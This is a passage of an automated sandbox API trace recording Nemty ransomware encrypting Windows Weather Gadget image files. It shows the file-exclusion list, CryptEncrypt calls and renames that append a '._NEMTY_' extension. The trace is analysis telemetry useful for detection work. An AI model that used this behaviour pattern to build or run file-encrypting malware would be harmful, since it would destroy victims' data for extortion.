lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.077] CloseHandle (hObject=0xffffffff) returned 0 [0164.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0164.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0164.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0164.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0164.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_hail.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_hail.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_hail.png._nemty_kgobjgd_")) returned 0 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.078] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87500758, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87500758, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cb25ee5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3253, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_gray_rainy.png", cAlternateFileName="")) returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2=".") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="..") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="...") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="windows") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="$RECYCLE.BIN") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="rsa") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="NTDETECT.COM") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="ntldr") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="MSDOS.SYS") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="IO.SYS") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="boot.ini") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="boot.ini") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="ntuser.dat") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="desktop.ini") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="CONFIG.SYS") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="RECYCLER") returned -1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="BOOTSECT.BAK") returned 1 [0164.078] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="bootmgr") returned 1 [0164.085] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="programdata") returned -1 [0164.085] lstrcmpiW (lpString1="docked_gray_rainy.png", lpString2="appdata") returned 1 [0164.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0164.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 21 [0164.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0164.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0164.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 21 [0164.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0164.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0164.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 21 [0164.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0164.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_rainy.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 21 [0164.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0164.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0164.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0164.086] Sleep (dwMilliseconds=0x5) [0164.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15746450, dwHighDateTime=0x1d561e8)) [0164.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15746450, dwHighDateTime=0x1d561e8)) [0164.094] GetLastError () returned 0x5 [0164.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.094] GetLastError () returned 0x5 [0164.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.094] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.094] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.095] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0164.095] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="S1QUDE9onAMWwks4XB5j+GziqYtZTJDW+iDrb8oSxt4OfQtG5/0SFS7VZYWUZZtb\r\nMddsG++BbzKSGHOxyafE8SY4RSo5bjOssoxgF7sJKXN6Q0358tZrrtXttwO19Hev\r\nqHhnXC9eIgV2JodLsIJsa64TkXjsc9eT6tvAyPVKfWTyifQgVx14qgkVQJJJcOYR\r\nDAV4tX9aZAu8KPLeqWD8T0XBjDKe2oYTFj2V7ZG+6f340VHD4AFQhJkuF/b04cEH\r\nafxoNQIbz5L5HqEBQs4vcB8+Y8/iad7IS13lMOVUPcpMKZ0Kgpl7jnBBU6C9oRKD\r\nl2v12L+QmtuR2VixQZrWfQ==\r\n", pcchString=0x653e91c) returned 1 [0164.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0164.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.095] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_rainy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.095] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 